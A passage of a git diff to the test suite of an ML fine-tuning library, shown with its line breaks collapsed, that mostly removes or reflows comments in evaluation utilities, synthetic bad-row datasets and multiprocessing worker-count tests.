test_these_assertions_fail_without_the_array_wraps(tmp_path):"""A regression test that passes on the unfixed source is not one, and the first version ofdiff --git a/tests/test_windows_rocm_bnb_version.py b/tests/test_windows_rocm_bnb_version.pyindex a3aea4d74e9..984f9f8583f 100644--- a/tests/test_windows_rocm_bnb_version.py+++ b/tests/test_windows_rocm_bnb_version.py@@ -101,8 +101,6 @@ def test_detect_none_when_bnb_absent(import_fixes, monkeypatch):# ----------------------------------------------------------------------------# maybe_set_windows_rocm_bnb_version-# ---------------------------------------------------------------------------def test_sets_bnb_version_on_windows_rocm(import_fixes, clean_env):diff --git a/tests/utils/aime_eval.py b/tests/utils/aime_eval.pyindex 0f291c88dc3..8aa7a0b3d9b 100644--- a/tests/utils/aime_eval.py+++ b/tests/utils/aime_eval.py@@ -41,7 +41,6 @@ def download_and_combine_aime_datasets(data_dir: str = "./data/aime") -> str:response = requests.get(url)response.raise_for_status()- # Tag each line with its source dataset + global IDfor line_num, line in enumerate(response.text.strip().split("\n")):if line.strip():try:@@ -100,7 +99,6 @@ def load_aime_dataset(data_dir: str = "./data/aime") -> List[Dict[str, Any]]:"answer": str(data["answer"]), # Ensure answer is string"solution": data.get("solution", ""),"url": data.get("url", ""),- # Format as chat messages for the model"prompt": [{"role": "system",@@ -134,7 +132,8 @@ def load_aime_dataset(data_dir: str = "./data/aime") -> List[Dict[str, Any]]:def extract_aime_answer(response: str) -> str:"""Extract numerical answer from AIME response"""- # AIME answers are integers 0-999; match "The answer is 123" etc.+ # AIME answers are integers 0-999;+ # match "The answer is 123" etc.patterns = [r"(?:the )?(?:final )?answer is (\d{1,3})",r"(?:therefore|thus|so),?\s*(?:the )?(?:final )?answer is (\d{1,3})",@@ -157,7 +156,6 @@ def extract_aime_answer(response: str) -> str:except ValueError:continue- # Fallback: any 1-3 digit number, scanning from the endnumbers = re.findall(r"\b(\d{1,3})\b", response)if numbers:for num_str in reversed(numbers):@@ -234,7 +232,6 @@ def evaluate_model_aime(print(f" Top-p: {top_p}")print(f" Seed: {seed}")- # Temporarily suppress verbose vllm/ray loggingoriginal_levels = {}loggers_to_suppress = ["vllm",diff --git a/tests/utils/cleanup_utils.py b/tests/utils/cleanup_utils.pyindex 005ecffb1f5..8b917482277 100644--- a/tests/utils/cleanup_utils.py+++ b/tests/utils/cleanup_utils.py@@ -14,7 +14,6 @@ def clear_memory():"""Comprehensive memory clearing for persistent memory leaks."""- # Save logging levels to restore later.saved_log_levels = {}for name, logger in logging.Logger.manager.loggerDict.items():if isinstance(logger, logging.Logger):@@ -35,11 +34,9 @@ def clear_memory("bnb_config",]- # Clear LRU caches first (important for memory leaks).if clear_all_caches:clear_all_lru_caches(verbose)- # Delete specified variables.g = globals()deleted_vars = []for var in variables_to_clear:@@ -50,13 +47,11 @@ def clear_memory(if verbose and deleted_vars:print(f"Deleted variables: {deleted_vars}")- # Multiple GC passes for circular references.for i in range(3):collected = gc.collect()if verbose and collected > 0:print(f"GC pass {i+1}: collected {collected} objects")- # CUDA cleanupif torch.cuda.is_available():if verbose:mem_before = torch.cuda.memory_allocated() / 1024**3@@ -68,7 +63,6 @@ def clear_memory(torch.cuda.reset_peak_memory_stats()torch.cuda.reset_accumulated_memory_stats()- # Clear JIT cache.if hasattr(torch.jit, "_state") and hasattr(torch.jit._state, "_clear_class_state"):torch.jit._state._clear_class_state()@@ -84,7 +78,6 @@ def clear_memory(if mem_before > 0:print(f"Memory freed: {mem_before - mem_after:.2f} GB")- # Restore original logging levels.logging.getLogger().setLevel(root_level)for name, level in saved_log_levels.items():if name in logging.Logger.manager.loggerDict:@@ -108,7 +101,6 @@ def clear_all_lru_caches(verbose = True):# Static list to avoid RuntimeError during iteration.modules = list(sys.modules.items())- # Clear caches in all loaded modules.for module_name, module in modules:if module is None:continue@@ -134,7 +126,6 @@ def clear_all_lru_caches(verbose = True):except Exception:continue- # Clear specific known caches.known_caches = ["transformers.utils.hub.cached_file","transformers.tokenization_utils_base.get_tokenizer",diff --git a/tests/utils/data_utils.py b/tests/utils/data_utils.pyindex 6a7cc7f47bf..3ebf8710606 100644--- a/tests/utils/data_utils.py+++ b/tests/utils/data_utils.py@@ -87,7 +87,6 @@ def format_summary(stats: dict, precision: int = 6) -> str:if isinstance(value, float):formatted_value = f"{value:.{precision}f}"elif isinstance(value, (tuple, list)):- # Format each element in tuples or lists (e.g., the shape)formatted_value = ", ".join(str(v) for v in value)formatted_value = (f"({formatted_value})" if isinstance(value, tuple) else f"[{formatted_value}]"diff --git a/tests/utils/generate_dataset_with_none.py b/tests/utils/generate_dataset_with_none.pyindex 78c6dfbe543..1a7eb087fef 100644--- a/tests/utils/generate_dataset_with_none.py+++ b/tests/utils/generate_dataset_with_none.py@@ -2,11 +2,10 @@from datasets import Dataset-# ChatML (messages, role/content). pyarrow needs uniform column types, so-# messages=None / non-list (P1) rows live in a SEPARATE dataset.+# ChatML (messages, role/content).+# pyarrow needs uniform column types, so messages=None / non-list (P1) rows live in a SEPARATE dataset._CHATML_ROWS = [- # clean rows{"messages": [{"role": "user", "content": "What is 2+2?"},@@ -68,49 +67,48 @@ _CHATML_ROWS = [{"role": "assistant", "content": "Shakespeare."},]},- # bad rows: None/empty turn content (all values are lists, so pyarrow is happy){"messages": [{"role": "user", "content": None},{"role": "assistant", "content": "Sure!"},]- }, # None content+ },{"messages": [{"role": "user", "content": ""},{"role": "assistant", "content": "OK."},]- }, # empty string+ },{"messages": [{"role": "user", "content": " "},{"role": "assistant", "content": "Got it."},]- }, # whitespace only+ },{"messages": [{"role": "user", "content": "Hello"},{"role": "assistant", "content": None},]- }, # None assistant+ },{"messages": [{"role": "user", "content": None},{"role": "assistant", "content": None},]- }, # both None+ },{"messages": [{"role": "user", "content": ""},{"role": "assistant", "content": ""},]- }, # both empty+ },{"messages": [{"role": "user", "content": "Anything?"},{"role": "assistant", "content": " \t "},]- }, # tab whitespace+ },{"messages": [None, {"role": "assistant", "content": "Reply"}]}, # None turn element]@@ -127,10 +125,7 @@ def make_chatml_p1_rows() -> list:return list(_CHATML_P1_ROWS)-# ShareGPT (conversations, from/value)-_SHAREGPT_ROWS = [- # clean{"conversations": [{"from": "human", "value": "Hello"},@@ -161,7 +156,6 @@ _SHAREGPT_ROWS = [{"from": "gpt", "value": "Goodbye!"},]},- # bad{"conversations": [{"from": "human", "value": None},@@ -184,10 +178,8 @@ _SHAREGPT_ROWS = [{"conversations": [None, {"from": "gpt", "value": "Hi"}]},]-# Alpaca (instruction / output columns)_ALPACA_ROWS = [- # clean{"instruction": "Summarise this text.","input": "The sky is blue.",@@ -205,7 +197,6 @@ _ALPACA_ROWS = ["input": "","output": "Old pond — / frog jumps in / water's sound",},- # bad{"instruction": None, "input": "", "output": "Some output"},{"instruction": "", "input": "", "output": "Some output"},{"instruction": "Valid instruction", "input": "", "output": None},diff --git a/tests/utils/ocr_eval.py b/tests/utils/ocr_eval.pyindex 60cde14fb27..7169bf237c8 100644--- a/tests/utils/ocr_eval.py+++ b/tests/utils/ocr_eval.py@@ -112,7 +112,6 @@ class OCRModelEvaluator:print(f"Skipping sample {sample_idx}: No text found in assistant message")return None, None, None, []- # Extract image and question from user messageimage = Nonequestion = Nonefor content_item in user_message["content"]:@@ -278,7 +277,6 @@ class OCRModelEvaluator:"""Create and save comparison plot."""plt.figure(figsize = (12, 6))- # Plot WERplt.subplot(1, 2, 1)plt.bar(comparison_df["Model"], comparison_df["WER"], color = "skyblue")plt.title("Word Error Rate Comparison")@@ -286,7 +284,6 @@ class OCRModelEvaluator:plt.ylim(bottom = 0)plt.xticks(rotation = 45, ha = "right")- # Plot CERplt.subplot(1, 2, 2)plt.bar(comparison_df["Model"], comparison_df["CER"], color = "lightgreen")plt.title("Character Error Rate Comparison")diff --git a/tests/utils/perplexity_eval.py b/tests/utils/perplexity_eval.pyindex cdd30e55112..4821b5c6a17 100644--- a/tests/utils/perplexity_eval.py+++ b/tests/utils/perplexity_eval.py@@ -56,7 +56,6 @@ def print_model_comparison():{"Model": list(model_comparison_results.keys()),"Perplexity": [- # Tensors to CPU float if needed.results["ppl"].cpu().item() if torch.is_tensor(results["ppl"]) else results["ppl"]for results in model_comparison_results.values()],diff --git a/tests/utils/run_none_detect_tests.py b/tests/utils/run_none_detect_tests.pyindex 375f2a9c228..22e2ed38ef4 100644--- a/tests/utils/run_none_detect_tests.py+++ b/tests/utils/run_none_detect_tests.py@@ -23,8 +23,6 @@ LOG_DIR = REPO_ROOT / "tests" / "logs"LOG_DIR.mkdir(parents = True, exist_ok = True)LOG_PATH = LOG_DIR / "none_detect_results.log"-# Helpers-class Tee:"""Write to both stdout and a file simultaneously."""@@ -91,11 +89,7 @@ def assert_exact_recall(stats: dict, expected_bad: set, label: str):return all_caught-# 1. Synthetic datasets-# Minimal mock for hand-crafted rows pyarrow can't represent (e.g. messages=None / "not a list").--class _MockDataset:"""Behaves like an HF Dataset for iteration, len(), and index access."""@@ -404,21 +398,21 @@ def test_synthetic():results = {}- # ChatML — 10 clean rows (0-9), 8 bad rows (10-17)+ # ChatML - 10 clean rows (0-9), 8 bad rows (10-17)ds_chatml = make_chatml_dataset()stats = run_scan(ds_chatml, "Synthetic ChatML (messages/role/content)")assert_bad_rows(stats, 8, "ChatML bad rows")assert_exact_recall(stats, set(range(10, 18)), "ChatML exact recall")results["chatml"] = stats- # ShareGPT — 5 clean rows (0-4), 5 bad rows (5-9)+ # ShareGPT - 5 clean rows (0-4), 5 bad rows (5-9)ds_sgpt = make_sharegpt_dataset()stats = run_scan(ds_sgpt, "Synthetic ShareGPT (conversations/from/value)")assert_bad_rows(stats, 3, "ShareGPT bad rows")assert_exact_recall(stats, set(range(5, 10)), "ShareGPT exact recall")results["sharegpt"] = stats- # Alpaca — 5 clean rows (0-4), 5 bad rows (5-9)+ # Alpaca - 5 clean rows (0-4), 5 bad rows (5-9)ds_alpaca = make_alpaca_dataset()stats = run_scan(ds_alpaca, "Synthetic Alpaca (instruction/output)")assert_bad_rows(stats, 4, "Alpaca bad rows")@@ -428,9 +422,6 @@ def test_synthetic():return results-# 2. HuggingFace: peteromallet/dataclaw-peteromallet--def _brute_force_bad_rows(ds, fmt: str) -> set:"""Pure-Python ground-truth scanner (no shared code with dataset_none_detect) for independent proof.@@ -524,9 +515,6 @@ def test_dataclaw():return None-# 3. HuggingFace: peteromallet/my-personal-codex-data--def test_codex_data():section("3. HuggingFace — peteromallet/my-personal-codex-data")try:@@ -558,9 +546,6 @@ def test_codex_data():return None-# Main--def main():started = datetime.now().isoformat()@@ -591,7 +576,6 @@ def main():all_results["dataclaw"] = test_dataclaw()all_results["codex_data"] = test_codex_data()- # Summary tablesection("SUMMARY")rows = [("Dataset", "Format", "Total rows", "Bad rows", "Bad turns"),@@ -625,14 +609,12 @@ def main():for row in rows[1:]:print(fmt_str.format(*row))- # Write machine-readable JSON summary alongside the logjson_path = LOG_DIR / "none_detect_results.json"summary = {}for key, val in all_results.items():if val is None:summary[key] = Noneelif isinstance(val, dict):- # Flatten synthetic sub-keysif key == "synthetic":for subkey, subval in val.items():summary[f"synthetic_{subkey}"] = (diff --git a/tests/utils/test_attention_dispatch_dora_dtype.py b/tests/utils/test_attention_dispatch_dora_dtype.pyindex f0496ee6a89..94885b0ec4c 100644--- a/tests/utils/test_attention_dispatch_dora_dtype.py+++ b/tests/utils/test_attention_dispatch_dora_dtype.py@@ -74,9 +74,9 @@ def test_bf16_qkv_left_untouched(monkeypatch):def _run_xformers(monkeypatch, qkv_dtype, fp32_unsupported):- # Same #1013 fp32 downcast, but for the xformers backend. On sm_100+ (B200, sm_120)- # xformers' fp32-capable cutlass op is capability-rejected and only its flash-2 op- # runs (fp16/bf16 only), so fp32 must be downcast there too or the op raises.+ # Same #1013 fp32 downcast, but for the xformers backend. On sm_100+ (B200, sm_120) xformers' fp32-capable cutlass+ # op is capability-rejected and only its flash-2 op runs (fp16/bf16 only), so fp32 must be downcast there too or the+ # op raises.captured = {}def fake_xformers_attention(diff --git a/tests/utils/test_attention_masks.py b/tests/utils/test_attention_masks.pyindex 5d89e22ca74..dfb533cb066 100644--- a/tests/utils/test_attention_masks.py+++ b/tests/utils/test_attention_masks.py@@ -298,8 +298,8 @@ def test_real_xformers_packed_mask_validates_on_each_device():assert output.device == torch.device(f"cuda:{index}")assert bool(torch.isfinite(output).all())- # Start backward only after the second shard has consumed the shared- # source mask, matching model-parallel layer execution.+ # Start backward only after the second shard has consumed the shared source mask, matching model-parallel layer+ # execution.for query, output in zip(queries, outputs):output.sum().backward()assert query.grad is not None@@ -629,8 +629,7 @@ def test_a_zero_configured_window_is_full_causal_not_a_blank_mask():def test_run_attention_sdpa_ignores_a_zero_window(monkeypatch):- # Belt and braces at the dispatcher: even handed a zero, it must not build a mask that- # hides everything.+ # Belt and braces at the dispatcher: even handed a zero, it must not build a mask that hides everything.captured = {}monkeypatch.setattr(attention_dispatch,diff --git a/tests/utils/test_attn_mask_compat.py b/tests/utils/test_attn_mask_compat.pyindex 929a270e31b..8d98774c76e 100644--- a/tests/utils/test_attn_mask_compat.py+++ b/tests/utils/test_attn_mask_compat.py@@ -261,14 +261,11 @@ def test_import_falls_back_when_is_tracing_missing():return Falsefake_import_utils.is_torchdynamo_compiling = _is_torchdynamo_compiling- # Deliberately no `is_tracing` attribute.-- # Ensure both the leaf and the parent's `transformers.utils` package- # resolve to our stub so the `from ... import is_tracing` inside the- # compat module body raises ImportError as it would on transformers- # < 4.52. We re-use `transformers.utils` if it's already in sys.modules- # (so we don't disturb the rest of the test suite), and only replace- # the leaf submodule.++ # Ensure both the leaf and the parent's `transformers.utils` package resolve to our stub so the `from ... import+ # is_tracing` inside the compat module body raises ImportError as it would on transformers < 4.52. We re-use+ # `transformers.utils` if it's already in sys.modules (so we don't disturb the rest of the test suite), and only+ # replace the leaf submodule.existing_utils_pkg = sys.modules.get("transformers.utils")with mock.patch.dict(sys.modules,@@ -281,15 +278,12 @@ def test_import_falls_back_when_is_tracing_missing():"would not exercise the fallback path")- # Dynamo idle and no JIT/FX active → False.assert reloaded.is_tracing() is False- # Sanity: accepts an optional tensor positional arg without raising.assert reloaded.is_tracing(torch.zeros(1)) is False- # ``torch.fx.Proxy`` should be detected even when Dynamo is idle, since- # symbolic_trace / export-only paths don't go through dynamo. Construct- # the Proxy from a real fx.Graph node (passing a Tensor directly to- # ``Proxy(...)`` is a common foot-gun that raises AttributeError).+ # ``torch.fx.Proxy`` should be detected even when Dynamo is idle, since symbolic_trace / export-only paths don't go+ # through dynamo. Construct the Proxy from a real fx.Graph node (passing a Tensor directly to ``Proxy(...)`` is a+ # common foot-gun that raises AttributeError).fx_graph = torch.fx.Graph()fx_node = fx_graph.create_node("call_function", torch.zeros, (torch.zeros(1).shape,))proxy = torch.fx.Proxy(fx_node)@@ -298,11 +292,3 @@ def test_import_falls_back_when_is_tracing_missing():# ``torch.jit.is_tracing()`` should be detected via patch.with mock.patch("torch.jit.is_tracing", return_value = True):assert reloaded.is_tracing() is True-- # Dynamo compilation is also covered (the fallback calls- # ``is_torchdynamo_compiling`` from the module-level import, which is- # bound at fallback-definition time — exactly the same import binding- # that the real ``is_tracing`` uses). We don't re-test the dynamo path- # here because it's already exercised by the upstream test suite, and- # patching the import after the module is loaded would not affect the- # closure's reference.diff --git a/tests/utils/test_attn_mask_upstream_drift.py b/tests/utils/test_attn_mask_upstream_drift.pyindex 8ba3fff8c65..14e85a2c3de 100644--- a/tests/utils/test_attn_mask_upstream_drift.py+++ b/tests/utils/test_attn_mask_upstream_drift.py@@ -277,7 +277,7 @@ def test_vendored_module_exports_everything_unsloth_imports():upstream = _symbols(upstream_src, False, False)vendored = _symbols(_COMPAT_PATH.read_text(encoding = "utf-8"), False, False)- # Anything vendored must actually exist upstream; inventing symbols under an- # upstream module's name would be a silent behavioural fork.+ # Anything vendored must actually exist upstream; inventing symbols under an upstream module's name would be a+ # silent behavioural fork.invented = sorted(set(vendored) - set(upstream))assert invented == [], f"vendored symbols with no upstream counterpart: {invented}"diff --git a/tests/utils/test_dataset_num_proc.py b/tests/utils/test_dataset_num_proc.pyindex 0f648d7e1bd..0e1dcd6f1ad 100644--- a/tests/utils/test_dataset_num_proc.py+++ b/tests/utils/test_dataset_num_proc.py@@ -25,8 +25,8 @@ from pathlib import Pathimport pytesttry:- # Import before the dnp fixture spoofs sys.platform: multiprocess picks its- # contexts at import time, so a Windows runner would get POSIX fork contexts.+ # Import before the dnp fixture spoofs sys.platform: multiprocess picks its contexts at import time, so a Windows+ # runner would get POSIX fork contexts.import multiprocess # noqa: F401except ImportError:pass@@ -36,9 +36,8 @@ REPO_ROOT = Path(__file__).resolve().parents[2]MODULE_PATH = REPO_ROOT / "unsloth" / "dataset_num_proc.py"RL_PATH = REPO_ROOT / "unsloth" / "models" / "rl.py"-# The dotted paths unsloth/models/rl.py bakes into every generated trainer: the-# zoo first, so generated source does not import back into unsloth, then this-# package as the fallback for a zoo that predates the module.+# The dotted paths unsloth/models/rl.py bakes into every generated trainer: the zoo first, so generated source does+# not import back into unsloth, then this package as the fallback for a zoo that predates the module.GENERATED_IMPORT_MODULE = "unsloth_zoo.dataset_num_proc"GENERATED_FALLBACK_MODULE = "unsloth.dataset_num_proc"GENERATED_IMPORT_NAME = "get_dataset_num_proc"@@ -58,16 +57,13 @@ def dnp(monkeypatch):module = _load_module()module.reset_warning_state()monkeypatch.delenv(module.NUM_PROC_ENV_VAR, raising = False)- # Pin the platform: macOS is refused by policy whatever the start method says,- # so every assertion expecting a worker count is really about a forking- # platform. Platform tests set their own value afterwards, which wins.+ # Pin the platform: macOS is refused by policy whatever the start method says, so every assertion expecting a worker+ # count is really about a forking platform. Platform tests set their own value afterwards, which wins.monkeypatch.setattr(module.sys, "platform", "linux")- # Pin the memory ceiling too, at its two sources rather than at the reader,- # so the memory tests can still patch either and win. Every count this- # module returns is clamped by free RAM and by the cgroup budget, so on a- # memory-limited runner a test about the start method or about an explicit- # value silently becomes a test of the clamp instead:- # `get_dataset_num_proc(6) == 6` returns 4 in a small container.+ # Pin the memory ceiling too, at its two sources rather than at the reader, so the memory tests can still patch+ # either and win. Every count this module returns is clamped by free RAM and by the cgroup budget, so on a+ # memory-limited runner a test about the start method or about an explicit value silently becomes a test of the+ # clamp instead: `get_dataset_num_proc(6) == 6` returns 4 in a small container.try:import psutilmonkeypatch.setattr(@@ -75,28 +71,23 @@ def dnp(monkeypatch):)except ImportError:pass- # Point this module's cgroup reader at a path that does not exist rather than- # stubbing the reader itself, so the tests that are about it can still- # install a fixture tree and win.+ # Point this module's cgroup reader at a path that does not exist rather than stubbing the reader itself, so the+ # tests that are about it can still install a fixture tree and win.monkeypatch.setattr(module, "CGROUP_ROOT", "/nonexistent-cgroup-root-for-tests")- # unsloth_zoo's readers are neutralised by name instead, and without- # requiring the name to be there: pinning hf_xet_tuning.CGROUP_ROOT alone- # only works on a zoo that has that global. An older zoo still exposes the- # private dir helpers this module prefers, monkeypatch finds no attribute to- # pin, and the policy reads the runner's real cgroup -- which in a- # memory-limited container turns a test about the start method into a test- # of the clamp. The tests that are about these readers install their own- # unsloth_zoo.hf_xet_tuning in sys.modules, so they are unaffected.+ # unsloth_zoo's readers are neutralised by name instead, and without requiring the name to be there: pinning+ # hf_xet_tuning.CGROUP_ROOT alone only works on a zoo that has that global. An older zoo still exposes the private+ # dir helpers this module prefers, monkeypatch finds no attribute to pin, and the policy reads the runner's real+ # cgroup -- which in a memory-limited container turns a test about the start method into a test of the clamp. The+ # tests that are about these readers install their own unsloth_zoo.hf_xet_tuning in sys.modules, so they are+ # unaffected.try:from unsloth_zoo import hf_xet_tuningexcept Exception:- # Importing the package can fail long after it has imported this- # submodule (__init__ pulls in hf_xet_tuning near the top and only- # raises "Please install Unsloth" at the end), and the failure removes- # unsloth_zoo from sys.modules while leaving unsloth_zoo.hf_xet_tuning- # behind. The module under test reaches it through exactly that cache- # entry, so treating the failure as absence would leave the real readers- # live on the runner's own /sys/fs/cgroup.+ # Importing the package can fail long after it has imported this submodule (__init__ pulls in hf_xet_tuning+ # near the top and only raises "Please install Unsloth" at the end), and the failure removes unsloth_zoo from+ # sys.modules while leaving unsloth_zoo.hf_xet_tuning behind. The module under test reaches it through exactly+ # that cache entry, so treating the failure as absence would leave the real readers live on the runner's own+ # /sys/fs/cgroup.hf_xet_tuning = sys.modules.get("unsloth_zoo.hf_xet_tuning")if hf_xet_tuning is not None:for name, neutral in (@@ -137,8 +128,8 @@ def test_non_fork_start_method_disables_multiprocessing(monkeypatch, dnp, methoddef test_non_fork_start_method_warns_once(monkeypatch, dnp, capsys):- # Regression for eeffa4c065: an explicit value used to sail through the- # guard. It must be vetoed, and the veto must be visible.+ # Regression for eeffa4c065: an explicit value used to sail through the guard. It must be vetoed, and the veto+ # must be visible._force_start_method(monkeypatch, dnp, "spawn")dnp.get_dataset_num_proc(8)dnp.get_dataset_num_proc(8)@@ -170,8 +161,8 @@ def test_serial_as_none_false_preserves_an_explicit_one(monkeypatch, dnp):"""_force_start_method(monkeypatch, dnp, "fork")assert dnp.get_dataset_num_proc(1, serial_as_none = False) == 1- # 0 and negatives are incoherent requests but still mean "not parallel", so- # they land on the config serial sentinel (1), not on None.+ # 0 and negatives are incoherent requests but still mean "not parallel", so they land on the config serial+ # sentinel (1), not on None.assert dnp.get_dataset_num_proc(0, serial_as_none = False) == 1assert dnp.get_dataset_num_proc(-4, serial_as_none = False) == 1@@ -350,10 +341,9 @@ def test_env_override_can_force_in_process(monkeypatch, dnp, raw):@pytest.mark.parametrize("raw", ["0", "none", "None", "false", "", "1"])def test_env_override_in_process_is_encoded_for_the_config_layer(monkeypatch, dnp, raw):- # Regression: the env override used to return before _serial(), writing None- # into the *config*, which unsloth_zoo.sft_prepare_dataset reads as- # "auto-size me" -- so the hatch the dead-worker message recommends raised- # the worker count instead of removing it. Config serial is 1, never None.+ # Regression: the env override used to return before _serial(), writing None into the *config*, which+ # unsloth_zoo.sft_prepare_dataset reads as "auto-size me" -- so the hatch the dead-worker message recommends+ # raised the worker count instead of removing it. Config serial is 1, never None._force_start_method(monkeypatch, dnp, "fork")monkeypatch.setenv(dnp.NUM_PROC_ENV_VAR, raw)assert dnp.get_dataset_num_proc(16, serial_as_none = False) == 1@@ -363,10 +353,10 @@ def test_env_override_is_uncapped(monkeypatch, dnp):_force_start_method(monkeypatch, dnp, "fork")monkeypatch.setenv(dnp.NUM_PROC_ENV_VAR, "100")assert dnp.get_dataset_num_proc(None) == 100- # Above the auto cap is the easy half. The memory clamp is the one that- # matters: the fixture leaves room for 512 workers, so without pinning it- # this asserts nothing about the exemption. map_failure_diagnostics points- # users at this hatch on exactly the host where the clamp would bite.+ # Above the auto cap is the easy half.+ # The memory clamp is the one that matters: the fixture leaves room for 512 workers, so without pinning it this+ # asserts nothing about the exemption.+ # map_failure_diagnostics points users at this hatch on exactly the host where the clamp would bite.monkeypatch.setattr(dnp, "_affordable_workers", lambda: 2)assert dnp.get_dataset_num_proc(None) == 100assert dnp.get_dataset_num_proc(4) == 100@@ -394,9 +384,8 @@ def test_start_method_probe_prefers_multiprocess_and_has_no_side_effects(dnp):method = dnp.multiprocessing_start_method()- # Must name a method this host offers. The private default-context chain has- # answered "fork" on Windows, which offers only spawn; believing it would- # read Windows as forkable and let workers through.+ # Must name a method this host offers. The private default-context chain has answered "fork" on Windows, which+ # offers only spawn; believing it would read Windows as forkable and let workers through.assert method in multiprocess.get_all_start_methods()assert multiprocess.get_start_method(allow_none = True) == before_mpassert multiprocessing.get_start_method(allow_none = True) == before_std@@ -462,8 +451,8 @@ def test_macos_stays_in_process_even_though_multiprocess_forks(monkeypatch, dnp,monkeypatch.setattr(dnp, "_affordable_workers", lambda: 1000)monkeypatch.setattr(dnp.sys, "platform", "darwin")- # Serial at a map() call site, None -- not 1 -- at the config layer, so no- # Pool is built on datasets >= 4.1 either way.+ # Serial at a map() call site, None -- not 1 -- at the config layer, so no Pool is built on datasets >= 4.1 either+ # way.assert dnp.get_dataset_num_proc(8) is Noneassert dnp.get_dataset_num_proc(8, serial_as_none = False) is Noneassert dnp.get_dataset_num_proc(None) is None@@ -511,9 +500,8 @@ def _rl_serial_as_none(tree, source, trainer_file):"""for node in ast.walk(tree):if isinstance(node, ast.Assign) and getattr(node.targets[0], "id", "") == "_serial_as_none":- # Parenthesised for the same reason as the sibling below: a- # formatter may reflow the ternary, and the segment's continuation- # lines are an IndentationError on their own.+ # Parenthesised for the same reason as the sibling below: a formatter may reflow the ternary, and the+ # segment's continuation lines are an IndentationError on their own.return eval( # noqa: S307"(" + ast.get_source_segment(source, node.value) + ")",{"trainer_file": trainer_file},@@ -532,8 +520,8 @@ def _rl_num_proc_snippet(trainer_file = "sft_trainer"):tree = ast.parse(source)for node in ast.walk(tree):if isinstance(node, ast.Assign) and getattr(node.targets[0], "id", "") == "num_proc_check":- # Parenthesised: the segment starts at the first literal, so its- # continuation lines are an IndentationError on their own.+ # Parenthesised: the segment starts at the first literal, so its continuation lines are an IndentationError+ # on their own.expression = "(" + ast.get_source_segment(source, node.value) + ")"return eval( # noqa: S307expression, {"_serial_as_none": _rl_serial_as_none(tree, source, trainer_file)}@@ -570,12 +558,12 @@ def test_rl_codegen_only_sft_gets_the_config_sentinel():# ---------- the map-site rewrite and the anchors it hangs on -----------# The tag rl_replacements.py gives the num_proc edit; both anchors share it, so a-# rename shows up as a missing call rather than a silently unpinned anchor.+# The tag rl_replacements.py gives the num_proc edit; both anchors share it, so a rename shows up as a missing call+# rather than a silently unpinned anchor.NUM_PROC_WHERE = "sft_prepare_dataset dataset_num_proc selection"-# The helpers that decide whether a source edit lands. Named here so the tests-# below fail loudly if they are renamed rather than quietly testing nothing.+# The helpers that decide whether a source edit lands. Named here so the tests below fail loudly if they are renamed+# rather than quietly testing nothing.ANCHOR_HELPERS = ("_require_replace", "_replace_or_fallback", "_same_source")# The module-level regex the narrow fallback anchor uses.@@ -659,8 +647,8 @@ def test_zoo_sft_prepare_dataset_anchor_has_not_drifted():lines makes _require_replace raise at import time, so catch drift here."""source = _zoo_dataset_utils_source()- # _require_replace raises on a missing anchor but cannot notice a count = 2- # anchor dropping to one occurrence, so assert the counts here.+ # _require_replace raises on a missing anchor but cannot notice a count = 2 anchor dropping to one occurrence, so+ # assert the counts here.for where in (NUM_PROC_WHERE,"sft_prepare_dataset tokenizing map() calls",@@ -787,8 +775,7 @@ def test_the_narrow_anchor_takes_over_when_the_block_drifts():result, warnings = _apply_num_proc_edit(drifted)assert "_unsloth_get_dataset_num_proc" in result, "the fallback anchor did not apply"assert 'map_kwargs["num_proc"] = dataset_num_proc' not in result- # Only the assignment was rewritten, so the Zoo's own sizing is still there,- # computing a value nothing reads. That is the price of the narrow anchor.+ # Only the assignment was rewritten, so the Zoo's own sizing is still there, computing a value nothing reads.assert "if _mp.get_start_method() != 'fork':" in resultassert len(warnings) == 1 and "moved in this unsloth_zoo" in warnings[0]ast.parse(result)@@ -830,8 +817,8 @@ def test_the_narrow_anchor_keeps_indentation_and_yields_none(monkeypatch):module = _load_module()module.reset_warning_state()monkeypatch.delenv(module.NUM_PROC_ENV_VAR, raising = False)- # The injected snippet imports the zoo copy first; point that name at the- # copy under test so this stays a torch-free, offline assertion.+ # The injected snippet imports the zoo copy first; point that name at the copy under test so this stays a+ # torch-free, offline assertion.if "unsloth_zoo" not in sys.modules:monkeypatch.setitem(sys.modules, "unsloth_zoo", types.ModuleType("unsloth_zoo"))monkeypatch.setitem(sys.modules, "unsloth_zoo.dataset_num_proc", module)@@ -855,8 +842,8 @@ def test_the_narrow_anchor_keeps_indentation_and_yields_none(monkeypatch):def test_rl_codegen_imports_the_module_that_exists():- # The snippet is spliced into generated source as text, so a rename would- # otherwise surface only at trainer-construction time in production.+ # The snippet is spliced into generated source as text, so a rename would otherwise surface only at+ # trainer-construction time in production.snippet = _rl_num_proc_snippet()assert f"from {GENERATED_IMPORT_MODULE} import {GENERATED_IMPORT_NAME}" in snippetassert f"from {GENERATED_FALLBACK_MODULE} import {GENERATED_IMPORT_NAME}" in snippet@@ -971,7 +958,6 @@ def test_rl_codegen_snippet_survives_an_unimportable_helper():# ---------- worker-death diagnostics -----------_DATASETS_MESSAGE = ("One of the subprocesses has abruptly died during map operation.""To debug the error, disable multiprocessing."@@ -979,8 +965,8 @@ _DATASETS_MESSAGE = (def test_worker_death_is_reraised_with_context(dnp):- # datasets discards the child's exit status, so the original message cannot- # distinguish an OOM kill from anything else.+ # datasets discards the child's exit status, so the original message cannot distinguish an OOM kill from+ # anything else.with pytest.raises(RuntimeError) as caught:with dnp.map_failure_diagnostics(8):raise RuntimeError(_DATASETS_MESSAGE)@@ -1006,8 +992,7 @@ def test_worker_death_diagnostics_handles_in_process_runs(dnp):def test_unrelated_errors_pass_through_untouched(dnp):- # Only the dead-worker message is rewritten, and non-RuntimeError types are- # not caught at all.+ # Only the dead-worker message is rewritten, and non-RuntimeError types are not caught at all.original = RuntimeError("CUDA out of memory")with pytest.raises(RuntimeError) as caught:with dnp.map_failure_diagnostics(4):@@ -1020,9 +1005,8 @@ def test_unrelated_errors_pass_through_untouched(dnp):raise keyassert caught_key.value is key- # The identity assertions above hold under `except Exception` as well, since- # the guard re-raises the same object. This one does not: it carries the- # dead-worker text, so a widened clause would rewrite it into a RuntimeError.+ # The identity assertions above hold under `except Exception` as well, since the guard re-raises the same object.+ # This one does not: it carries the dead-worker text, so a widened clause would rewrite it into a RuntimeError.lookalike = ValueError("One of the subprocesses has abruptly died during map operation.")with pytest.raises(ValueError) as caught_other:with dnp.map_failure_diagnostics(4):@@ -1207,8 +1191,7 @@ def test_memory_budget_follows_the_cgroup_not_the_host(monkeypatch, dnp):def 